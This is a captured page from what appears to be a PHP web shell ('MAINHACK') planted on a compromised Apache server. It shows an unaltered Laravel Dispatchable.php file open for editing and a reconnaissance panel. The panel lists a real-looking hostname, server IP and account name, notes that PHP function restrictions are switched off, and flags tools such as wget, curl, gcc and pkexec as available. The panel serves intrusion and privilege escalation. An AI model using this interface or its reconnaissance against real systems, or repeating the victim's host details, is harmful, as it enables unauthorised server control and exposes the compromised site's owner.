[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Dispatchable.php
<?php namespace Illuminate\Foundation\Bus; use Closure; use Illuminate\Contracts\Bus\Dispatcher; use Illuminate\Support\Fluent; trait Dispatchable { /** * Dispatch the job with the given arguments. * * @param mixed ...$arguments * @return \Illuminate\Foundation\Bus\PendingDispatch */ public static function dispatch(...$arguments) { return new PendingDispatch(new static(...$arguments)); } /** * Dispatch the job with the given arguments if the given truth test passes. * * @param bool|\Closure $boolean * @param mixed ...$arguments * @return \Illuminate\Foundation\Bus\PendingDispatch|\Illuminate\Support\Fluent */ public static function dispatchIf($boolean, ...$arguments) { if ($boolean instanceof Closure) { $dispatchable = new static(...$arguments); return value($boolean, $dispatchable) ? new PendingDispatch($dispatchable) : new Fluent; } return value($boolean) ? new PendingDispatch(new static(...$arguments)) : new Fluent; } /** * Dispatch the job with the given arguments unless the given truth test passes. * * @param bool|\Closure $boolean * @param mixed ...$arguments * @return \Illuminate\Foundation\Bus\PendingDispatch|\Illuminate\Support\Fluent */ public static function dispatchUnless($boolean, ...$arguments) { if ($boolean instanceof Closure) { $dispatchable = new static(...$arguments); return ! value($boolean, $dispatchable) ? new PendingDispatch($dispatchable) : new Fluent; } return ! value($boolean) ? new PendingDispatch(new static(...$arguments)) : new Fluent; } /** * Dispatch a command to its appropriate handler in the current process. * * Queueable jobs will be dispatched to the "sync" queue. * * @param mixed ...$arguments * @return mixed */ public static function dispatchSync(...$arguments) { return app(Dispatcher::class)->dispatchSync(new static(...$arguments)); } /** * Dispatch a command to its appropriate handler after the current process. * * @param mixed ...$arguments * @return mixed */ public static function dispatchAfterResponse(...$arguments) { return self::dispatch(...$arguments)->afterResponse(); } /** * Set the jobs that should run if this job is successful. * * @param array $chain * @return \Illuminate\Foundation\Bus\PendingChain */ public static function withChain($chain) { return new PendingChain(static::class, $chain); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.55 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002